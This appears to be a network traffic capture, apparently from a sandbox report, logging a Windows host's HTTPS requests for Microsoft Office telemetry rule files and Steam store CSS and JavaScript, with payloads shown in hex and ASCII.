2024-10-07 06:47:03 UTC	192	OUT	GET /rules/rule120642v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-07 06:47:03 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 06:47:03 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:24 GMT ETag: "0x8DC582BB046B576" x-ms-request-id: db28b7eb-d01e-0065-5efe-16b77a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241007T064703Z-1657d5bbd48vhs7r2p1ky7cs5w00000003e0000000006fq5 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-07 06:47:03 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120642" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120641" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
61	192.168.2.6	49787	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-07 06:47:03 UTC	192	OUT	GET /rules/rule120640v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-07 06:47:03 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 06:47:03 GMT Content-Type: text/xml Content-Length: 478 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:48 GMT ETag: "0x8DC582B9B233827" x-ms-request-id: 4dd19665-401e-005b-7705-179c0c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241007T064703Z-1657d5bbd48762wn1qw4s5sd300000000310000000003smq x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-07 06:47:03 UTC	478	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120640" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120639" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
62	192.168.2.6	49800	95.101.54.105	443	6900	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-07 06:47:04 UTC	570	OUT	GET /public/shared/css/shared_responsive.css?v=tzDCtkxeI-e5&l=english HTTP/1.1 Host: store.akamai.steamstatic.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/css,/;q=0.1 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-07 06:47:04 UTC	339	IN	HTTP/1.1 200 OK Server: nginx Content-Type: text/css;charset=UTF-8 ETag: "tzDCtkxeI-e5" Last-Modified: Sun, 09 Sep 2001 01:46:40 GMT Strict-Transport-Security: max-age=300 Cache-Control: public, max-age=7698256 Expires: Sat, 04 Jan 2025 09:11:20 GMT Date: Mon, 07 Oct 2024 06:47:04 GMT Content-Length: 18486 Connection: close
2024-10-07 06:47:04 UTC	16045	IN	Data Raw: 0d 0a 2e 72 65 73 70 6f 6e 73 69 76 65 5f 70 61 67 65 5f 66 72 61 6d 65 20 7b 0d 0a 09 70 6f 73 69 74 69 6f 6e 3a 20 72 65 6c 61 74 69 76 65 3b 0d 0a 7d 0d 0a 0d 0a 62 6f 64 79 2e 6d 6f 76 65 73 63 72 6f 6c 6c 74 6f 63 6f 6e 74 65 6e 74 20 2e 72 65 73 70 6f 6e 73 69 76 65 5f 70 61 67 65 5f 66 72 61 6d 65 20 7b 0d 0a 09 70 6f 73 69 74 69 6f 6e 3a 20 66 69 78 65 64 3b 0d 0a 09 74 6f 70 3a 20 30 3b 0d 0a 09 72 69 67 68 74 3a 20 30 3b 0d 0a 09 62 6f 74 74 6f 6d 3a 20 30 3b 0d 0a 09 6c 65 66 74 3a 20 30 3b 0d 0a 09 6f 76 65 72 66 6c 6f 77 3a 20 61 75 74 6f 3b 0d 0a 7d 0d 0a 0d 0a 62 6f 64 79 2e 6f 76 65 72 66 6c 6f 77 5f 68 69 64 64 65 6e 2c 0d 0a 62 6f 64 79 2e 6f 76 65 72 66 6c 6f 77 5f 68 69 64 64 65 6e 20 2e 72 65 73 70 6f 6e 73 69 76 65 5f 70 61 67 65 5f Data Ascii: .responsive_page_frame {position: relative;}body.movescrolltocontent .responsive_page_frame {position: fixed;top: 0;right: 0;bottom: 0;left: 0;overflow: auto;}body.overflow_hidden,body.overflow_hidden .responsive_page_
2024-10-07 06:47:04 UTC	2441	IN	Data Raw: 65 72 20 2e 72 65 73 70 6f 6e 73 69 76 65 5f 6f 70 74 69 6e 5f 6c 69 6e 6b 20 7b 0d 0a 09 64 69 73 70 6c 61 79 3a 20 62 6c 6f 63 6b 3b 0d 0a 09 74 65 78 74 2d 61 6c 69 67 6e 3a 20 63 65 6e 74 65 72 3b 0d 0a 09 70 61 64 64 69 6e 67 3a 20 32 30 70 78 20 30 3b 0d 0a 7d 0d 0a 0d 0a 68 74 6d 6c 2e 66 6f 72 63 65 5f 64 65 73 6b 74 6f 70 20 62 6f 64 79 20 23 66 6f 6f 74 65 72 5f 72 65 73 70 6f 6e 73 69 76 65 5f 6f 70 74 69 6e 5f 73 70 61 63 65 72 20 7b 0d 0a 09 68 65 69 67 68 74 3a 20 36 34 70 78 3b 0d 0a 7d 0d 0a 0d 0a 2e 72 65 73 70 6f 6e 73 69 76 65 5f 6f 70 74 69 6e 5f 6c 69 6e 6b 20 2e 62 74 6e 5f 6d 65 64 69 75 6d 20 3e 20 73 70 61 6e 20 7b 0d 0a 09 6c 69 6e 65 2d 68 65 69 67 68 74 3a 20 31 35 30 25 3b 0d 0a 7d 0d 0a 0d 0a 40 6d 65 64 69 61 20 73 63 72 65 Data Ascii: er .responsive_optin_link {display: block;text-align: center;padding: 20px 0;}html.force_desktop body #footer_responsive_optin_spacer {height: 64px;}.responsive_optin_link .btn_medium > span {line-height: 150%;}@media scre

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
63	192.168.2.6	49793	95.101.54.105	443	6900	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-07 06:47:04 UTC	552	OUT	GET /public/shared/javascript/jquery-1.8.3.min.js?v=.TZ2NKhB-nliU HTTP/1.1 Host: store.akamai.steamstatic.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-07 06:47:04 UTC	384	IN	HTTP/1.1 200 OK Last-Modified: Fri, 05 Jan 2018 22:31:56 GMT ETag: ".TZ2NKhB-nliU" Server: nginx Content-Type: text/javascript;charset=UTF-8 Strict-Transport-Security: max-age=300 Cache-Control: public, max-age=4214334 Expires: Mon, 25 Nov 2024 01:25:58 GMT Date: Mon, 07 Oct 2024 06:47:04 GMT Transfer-Encoding: chunked Connection: close Connection: Transfer-Encoding
2024-10-07 06:47:04 UTC	16000	IN	Data Raw: 30 30 30 30 42 31 43 31 0d 0a 2f 2a 21 20 6a 51 75 65 72 79 20 76 31 2e 38 2e 33 20 6a 71 75 65 72 79 2e 63 6f 6d 20 7c 20 6a 71 75 65 72 79 2e 6f 72 67 2f 6c 69 63 65 6e 73 65 20 2a 2f 0d 0a 28 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 66 75 6e 63 74 69 6f 6e 20 5f 28 65 29 7b 76 61 72 20 74 3d 4d 5b 65 5d 3d 7b 7d 3b 72 65 74 75 72 6e 20 76 2e 65 61 63 68 28 65 2e 73 70 6c 69 74 28 79 29 2c 66 75 6e 63 74 69 6f 6e 28 65 2c 6e 29 7b 74 5b 6e 5d 3d 21 30 7d 29 2c 74 7d 66 75 6e 63 74 69 6f 6e 20 48 28 65 2c 6e 2c 72 29 7b 69 66 28 72 3d 3d 3d 74 26 26 65 2e 6e 6f 64 65 54 79 70 65 3d 3d 3d 31 29 7b 76 61 72 20 69 3d 22 64 61 74 61 2d 22 2b 6e 2e 72 65 70 6c 61 63 65 28 50 2c 22 2d 24 31 22 29 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 3b 72 3d 65 2e 67 65 Data Ascii: 0000B1C1/! jQuery v1.8.3 jquery.com \| jquery.org/license /(function(e,t){function _(e){var t=M[e]={};return v.each(e.split(y),function(e,n){t[n]=!0}),t}function H(e,n,r){if(r===t&&e.nodeType===1){var i="data-"+n.replace(P,"-$1").toLowerCase();r=e.ge
2024-10-07 06:47:04 UTC	15838	IN	Data Raw: 74 26 26 76 2e 69 73 46 75 6e 63 74 69 6f 6e 28 69 29 2c 66 26 26 28 61 3f 28 61 3d 6e 2c 6e 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 6e 29 7b 72 65 74 75 72 6e 20 61 2e 63 61 6c 6c 28 76 28 65 29 2c 6e 29 7d 29 3a 28 6e 2e 63 61 6c 6c 28 65 2c 69 29 2c 6e 3d 6e 75 6c 6c 29 29 3b 69 66 28 6e 29 66 6f 72 28 3b 6c 3c 63 3b 6c 2b 2b 29 6e 28 65 5b 6c 5d 2c 72 2c 61 3f 69 2e 63 61 6c 6c 28 65 5b 6c 5d 2c 6c 2c 6e 28 65 5b 6c 5d 2c 72 29 29 3a 69 2c 75 29 3b 73 3d 31 7d 72 65 74 75 72 6e 20 73 3f 65 3a 66 3f 6e 2e 63 61 6c 6c 28 65 29 3a 63 3f 6e 28 65 5b 30 5d 2c 72 29 3a 6f 7d 2c 6e 6f 77 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 28 6e 65 77 20 44 61 74 65 29 2e 67 65 74 54 69 6d 65 28 29 7d 7d 29 2c 76 2e 72 65 61 64 79 2e 70 72 6f 6d 69 73 65 Data Ascii: t&&v.isFunction(i),f&&(a?(a=n,n=function(e,t,n){return a.call(v(e),n)}):(n.call(e,i),n=null));if(n)for(;l<c;l++)n(e[l],r,a?i.call(e[l],l,n(e[l],r)):i,u);s=1}return s?e:f?n.call(e):c?n(e[0],r):o},now:function(){return(new Date).getTime()}}),v.ready.promise
2024-10-07 06:47:04 UTC	13679	IN	Data Raw: 72 43 61 73 65 28 29 3a 74 7d 2c 73 65 74 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 6e 29 7b 76 61 72 20 72 3b 72 65 74 75 72 6e 20 74 3d 3d 3d 21 31 3f 76 2e 72 65 6d 6f 76 65 41 74 74 72 28 65 2c 6e 29 3a 28 72 3d 76 2e 70 72 6f 70 46 69 78 5b 6e 5d 7c 7c 6e 2c 72 20 69 6e 20 65 26 26 28 65 5b 72 5d 3d 21 30 29 2c 65 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 6e 2c 6e 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 29 29 2c 6e 7d 7d 2c 56 7c 7c 28 49 3d 7b 6e 61 6d 65 3a 21 30 2c 69 64 3a 21 30 2c 63 6f 6f 72 64 73 3a 21 30 7d 2c 6a 3d 76 2e 76 61 6c 48 6f 6f 6b 73 2e 62 75 74 74 6f 6e 3d 7b 67 65 74 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 6e 29 7b 76 61 72 20 72 3b 72 65 74 75 72 6e 20 72 3d 65 2e 67 65 74 41 74 74 72 69 62 75 74 65 4e 6f 64 65 28 6e 29 2c 72 26 Data Ascii: rCase():t},set:function(e,t,n){var r;return t===!1?v.removeAttr(e,n):(r=v.propFix[n]\|\|n,r in e&&(e[r]=!0),e.setAttribute(n,n.toLowerCase())),n}},V\|\|(I={name:!0,id:!0,coords:!0},j=v.valHooks.button={get:function(e,n){var r;return r=e.getAttributeNode(n),r&
2024-10-07 06:47:04 UTC	16384	IN	Data Raw: 30 30 30 30 34 30 30 30 0d 0a 26 26 21 72 29 69 66 28 69 3d 52 2e 65 78 65 63 28 65 29 29 69 66 28 66 3d 69 5b 31 5d 29 7b 69 66 28 6c 3d 3d 3d 39 29 7b 73 3d 74 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 28 66 29 3b 69 66 28 21 73 7c 7c 21 73 2e 70 61 72 65 6e 74 4e 6f 64 65 29 72 65 74 75 72 6e 20 6e 3b 69 66 28 73 2e 69 64 3d 3d 3d 66 29 72 65 74 75 72 6e 20 6e 2e 70 75 73 68 28 73 29 2c 6e 7d 65 6c 73 65 20 69 66 28 74 2e 6f 77 6e 65 72 44 6f 63 75 6d 65 6e 74 26 26 28 73 3d 74 2e 6f 77 6e 65 72 44 6f 63 75 6d 65 6e 74 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 28 66 29 29 26 26 75 28 74 2c 73 29 26 26 73 2e 69 64 3d 3d 3d 66 29 72 65 74 75 72 6e 20 6e 2e 70 75 73 68 28 73 29 2c 6e 7d 65 6c 73 65 7b 69 66 28 69 5b 32 5d 29 72 65 74 75 72 6e 20 53 Data Ascii: 00004000&&!r)if(i=R.exec(e))if(f=i[1]){if(l===9){s=t.getElementById(f);if(!s\|\|!s.parentNode)return n;if(s.id===f)return n.push(s),n}else if(t.ownerDocument&&(s=t.ownerDocument.getElementById(f))&&u(t,s)&&s.id===f)return n.push(s),n}else{if(i[2])return S
2024-10-07 06:47:04 UTC	12	IN	Data Raw: 6e 28 65 29 7b 76 61 72 20 74 0d 0a Data Ascii: n(e){var t
2024-10-07 06:47:04 UTC	16384	IN	Data Raw: 30 30 30 30 34 30 30 30 0d 0a 2c 6e 3d 76 28 65 2c 74 68 69 73 29 2c 72 3d 6e 2e 6c 65 6e 67 74 68 3b 72 65 74 75 72 6e 20 74 68 69 73 2e 66 69 6c 74 65 72 28 66 75 6e 63 74 69 6f 6e 28 29 7b 66 6f 72 28 74 3d 30 3b 74 3c 72 3b 74 2b 2b 29 69 66 28 76 2e 63 6f 6e 74 61 69 6e 73 28 74 68 69 73 2c 6e 5b 74 5d 29 29 72 65 74 75 72 6e 21 30 7d 29 7d 2c 6e 6f 74 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 74 68 69 73 2e 70 75 73 68 53 74 61 63 6b 28 66 74 28 74 68 69 73 2c 65 2c 21 31 29 2c 22 6e 6f 74 22 2c 65 29 7d 2c 66 69 6c 74 65 72 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 74 68 69 73 2e 70 75 73 68 53 74 61 63 6b 28 66 74 28 74 68 69 73 2c 65 2c 21 30 29 2c 22 66 69 6c 74 65 72 22 2c 65 29 7d 2c 69 73 3a 66 75 6e 63 74 Data Ascii: 00004000,n=v(e,this),r=n.length;return this.filter(function(){for(t=0;t<r;t++)if(v.contains(this,n[t]))return!0})},not:function(e){return this.pushStack(ft(this,e,!1),"not",e)},filter:function(e){return this.pushStack(ft(this,e,!0),"filter",e)},is:funct
2024-10-07 06:47:04 UTC	12	IN	Data Raw: 2c 76 61 6c 75 65 3a 6e 2e 72 0d 0a Data Ascii: ,value:n.r
2024-10-07 06:47:04 UTC	13508	IN	Data Raw: 30 30 30 30 33 34 42 38 0d 0a 65 70 6c 61 63 65 28 6f 6e 2c 22 5c 72 5c 6e 22 29 7d 7d 29 2e 67 65 74 28 29 7d 7d 29 2c 76 2e 70 61 72 61 6d 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 6e 29 7b 76 61 72 20 72 2c 69 3d 5b 5d 2c 73 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 74 3d 76 2e 69 73 46 75 6e 63 74 69 6f 6e 28 74 29 3f 74 28 29 3a 74 3d 3d 6e 75 6c 6c 3f 22 22 3a 74 2c 69 5b 69 2e 6c 65 6e 67 74 68 5d 3d 65 6e 63 6f 64 65 55 52 49 43 6f 6d 70 6f 6e 65 6e 74 28 65 29 2b 22 3d 22 2b 65 6e 63 6f 64 65 55 52 49 43 6f 6d 70 6f 6e 65 6e 74 28 74 29 7d 3b 6e 3d 3d 3d 74 26 26 28 6e 3d 76 2e 61 6a 61 78 53 65 74 74 69 6e 67 73 26 26 76 2e 61 6a 61 78 53 65 74 74 69 6e 67 73 2e 74 72 61 64 69 74 69 6f 6e 61 6c 29 3b 69 66 28 76 2e 69 73 41 72 72 61 79 28 65 29 7c Data Ascii: 000034B8eplace(on,"\r\n")}}).get()}}),v.param=function(e,n){var r,i=[],s=function(e,t){t=v.isFunction(t)?t():t==null?"":t,i[i.length]=encodeURIComponent(e)+"="+encodeURIComponent(t)};n===t&&(n=v.ajaxSettings&&v.ajaxSettings.traditional);if(v.isArray(e)\|
2024-10-07 06:47:04 UTC	1880	IN	Data Raw: 30 30 30 30 30 37 34 43 0d 0a 63 73 73 28 65 2c 22 74 6f 70 22 29 2c 75 3d 76 2e 63 73 73 28 65 2c 22 6c 65 66 74 22 29 2c 61 3d 28 72 3d 3d 3d 22 61 62 73 6f 6c 75 74 65 22 7c 7c 72 3d 3d 3d 22 66 69 78 65 64 22 29 26 26 76 2e 69 6e 41 72 72 61 79 28 22 61 75 74 6f 22 2c 5b 6f 2c 75 5d 29 3e 2d 31 2c 66 3d 7b 7d 2c 6c 3d 7b 7d 2c 63 2c 68 3b 61 3f 28 6c 3d 69 2e 70 6f 73 69 74 69 6f 6e 28 29 2c 63 3d 6c 2e 74 6f 70 2c 68 3d 6c 2e 6c 65 66 74 29 3a 28 63 3d 70 61 72 73 65 46 6c 6f 61 74 28 6f 29 7c 7c 30 2c 68 3d 70 61 72 73 65 46 6c 6f 61 74 28 75 29 7c 7c 30 29 2c 76 2e 69 73 46 75 6e 63 74 69 6f 6e 28 74 29 26 26 28 74 3d 74 2e 63 61 6c 6c 28 65 2c 6e 2c 73 29 29 2c 74 2e 74 6f 70 21 3d 6e 75 6c 6c 26 26 28 66 2e 74 6f 70 3d 74 2e 74 6f 70 2d 73 2e 74 Data Ascii: 0000074Ccss(e,"top"),u=v.css(e,"left"),a=(r==="absolute"\|\|r==="fixed")&&v.inArray("auto",[o,u])>-1,f={},l={},c,h;a?(l=i.position(),c=l.top,h=l.left):(c=parseFloat(o)\|\|0,h=parseFloat(u)\|\|0),v.isFunction(t)&&(t=t.call(e,n,s)),t.top!=null&&(f.top=t.top-s.t
2024-10-07 06:47:04 UTC	12	IN	Data Raw: 30 30 30 30 30 30 30 30 0d 0a 0d 0a Data Ascii: 00000000

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
64	192.168.2.6	49794	95.101.54.105	443	6900	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-07 06:47:04 UTC	543	OUT	GET /public/shared/javascript/tooltip.js?v=.zYHOpI1L3Rt0 HTTP/1.1 Host: store.akamai.steamstatic.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-07 06:47:04 UTC	347	IN	HTTP/1.1 200 OK Server: nginx Content-Type: text/javascript;charset=UTF-8 ETag: ".zYHOpI1L3Rt0" Last-Modified: Wed, 28 Jun 2023 04:07:10 GMT Strict-Transport-Security: max-age=300 Cache-Control: public, max-age=7819766 Expires: Sun, 05 Jan 2025 18:56:30 GMT Date: Mon, 07 Oct 2024 06:47:04 GMT Content-Length: 16087 Connection: close
2024-10-07 06:47:04 UTC	16037	IN	Data Raw: 2f 2a 20 52 65 71 75 69 72 65 73 20 6a 51 75 65 72 79 0d 0a 20 2a 0d 0a 20 2a 20 54 68 69 73 20 70 6c 75 67 69 6e 20 77 69 6c 6c 20 63 72 65 61 74 65 20 64 69 76 2e 6a 73 54 6f 6f 6c 74 69 70 20 65 6c 65 6d 65 6e 74 73 20 28 6f 72 20 63 6f 6e 66 69 67 75 72 65 20 79 6f 75 72 20 6f 77 6e 21 29 20 69 6e 20 62 6f 64 79 20 66 6f 72 20 65 76 65 72 79 20 74 6f 6f 6c 74 69 70 20 6f 6e 20 74 68 65 20 70 61 67 65 2e 20 53 6f 6d 65 0d 0a 20 2a 20 62 61 73 69 63 20 43 53 53 20 69 73 20 61 70 70 6c 69 65 64 20 61 75 74 6f 6d 61 67 69 63 61 6c 6c 79 2c 20 62 75 74 20 79 6f 75 27 6c 6c 20 77 61 6e 74 20 74 6f 20 73 74 79 6c 65 20 69 74 20 6f 6e 20 79 6f 75 72 20 6f 77 6e 20 66 72 6f 6d 20 74 68 65 72 65 2e 20 54 68 69 73 20 63 6f 64 65 20 77 69 6c 6c 20 62 65 20 61 70 Data Ascii: /* Requires jQuery * * This plugin will create div.jsTooltip elements (or configure your own!) in body for every tooltip on the page. Some * basic CSS is applied automagically, but you'll want to style it on your own from there. This code will be ap
2024-10-07 06:47:04 UTC	50	IN	Data Raw: 79 2e 74 6f 6f 6c 74 69 70 27 20 29 3b 0d 0a 09 09 7d 0d 0a 0d 0a 09 7d 3b 0d 0a 0d 0a 0d 0a 7d 29 28 20 6a 51 75 65 72 79 20 29 3b 0d 0a 0d 0a 0d 0a Data Ascii: y.tooltip' );}};})( jQuery );

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
65	192.168.2.6	49803	95.101.54.105	443	6900	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-07 06:47:04 UTC	558	OUT	GET /public/shared/javascript/shared_global.js?v=Q5tt-d8r0YLu&l=english HTTP/1.1 Host: store.akamai.steamstatic.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-07 06:47:04 UTC	383	IN	HTTP/1.1 200 OK Server: nginx Content-Type: text/javascript;charset=UTF-8 ETag: "Q5tt-d8r0YLu" Last-Modified: Sun, 09 Sep 2001 01:46:40 GMT Strict-Transport-Security: max-age=300 Cache-Control: public, max-age=9593233 Expires: Sun, 26 Jan 2025 07:34:17 GMT Date: Mon, 07 Oct 2024 06:47:04 GMT Transfer-Encoding: chunked Connection: close Connection: Transfer-Encoding
2024-10-07 06:47:04 UTC	16001	IN	Data Raw: 30 30 30 30 43 30 30 30 0d 0a 0d 0a 53 74 65 61 6d 20 3d 20 7b 0d 0a 09 73 6d 5f 62 49 6e 69 74 69 61 6c 69 7a 65 64 3a 20 66 61 6c 73 65 2c 0d 0a 09 73 6d 5f 62 55 73 65 72 49 6e 43 6c 69 65 6e 74 3a 20 66 61 6c 73 65 2c 0d 0a 09 73 6d 5f 62 55 73 65 72 49 6e 47 61 6d 65 4f 76 65 72 6c 61 79 3a 20 66 61 6c 73 65 2c 0d 0a 09 73 6d 5f 62 55 73 65 72 49 6e 54 65 6e 66 6f 6f 74 42 72 6f 77 73 65 72 3a 20 66 61 6c 73 65 2c 0d 0a 09 73 6d 5f 62 55 73 65 72 49 6e 4d 6f 62 69 6c 65 43 68 61 74 3a 20 66 61 6c 73 65 2c 0d 0a 09 73 6d 5f 62 55 73 65 72 49 6e 4d 6f 62 69 6c 65 41 70 70 3a 20 66 61 6c 73 65 2c 0d 0a 0d 0a 09 42 49 73 55 73 65 72 49 6e 53 74 65 61 6d 43 6c 69 65 6e 74 3a 20 66 75 6e 63 74 69 6f 6e 28 29 0d 0a 09 7b 0d 0a 09 09 69 66 20 28 20 21 53 74 Data Ascii: 0000C000Steam = {sm_bInitialized: false,sm_bUserInClient: false,sm_bUserInGameOverlay: false,sm_bUserInTenfootBrowser: false,sm_bUserInMobileChat: false,sm_bUserInMobileApp: false,BIsUserInSteamClient: function(){if ( !St
2024-10-07 06:47:04 UTC	15833	IN	Data Raw: 61 70 70 65 6e 64 28 20 73 74 72 44 65 73 63 72 69 70 74 69 6f 6e 20 29 20 29 3b 0d 0a 0d 0a 09 69 66 20 28 20 72 67 42 75 74 74 6f 6e 73 2e 6c 65 6e 67 74 68 20 3e 20 30 20 29 0d 0a 09 7b 0d 0a 09 09 76 61 72 20 24 42 75 74 74 6f 6e 73 20 3d 20 24 4a 28 27 3c 64 69 76 2f 3e 27 2c 20 7b 27 63 6c 61 73 73 27 3a 20 27 6e 65 77 6d 6f 64 61 6c 5f 62 75 74 74 6f 6e 73 27 2c 20 27 64 61 74 61 2d 70 61 6e 65 6c 27 3a 20 27 7b 22 66 6c 6f 77 2d 63 68 69 6c 64 72 65 6e 22 3a 22 72 6f 77 22 7d 27 20 7d 20 29 3b 0d 0a 09 09 24 43 6f 6e 74 65 6e 74 2e 61 70 70 65 6e 64 28 20 24 42 75 74 74 6f 6e 73 20 29 3b 0d 0a 09 09 66 6f 72 28 20 76 61 72 20 69 20 3d 20 30 3b 20 69 20 3c 20 72 67 42 75 74 74 6f 6e 73 2e 6c 65 6e 67 74 68 3b 20 69 2b 2b 20 29 0d 0a 09 09 7b 0d 0a Data Ascii: append( strDescription ) );if ( rgButtons.length > 0 ){var $Buttons = $J('<div/>', {'class': 'newmodal_buttons', 'data-panel': '{"flow-children":"row"}' } );$Content.append( $Buttons );for( var i = 0; i < rgButtons.length; i++ ){
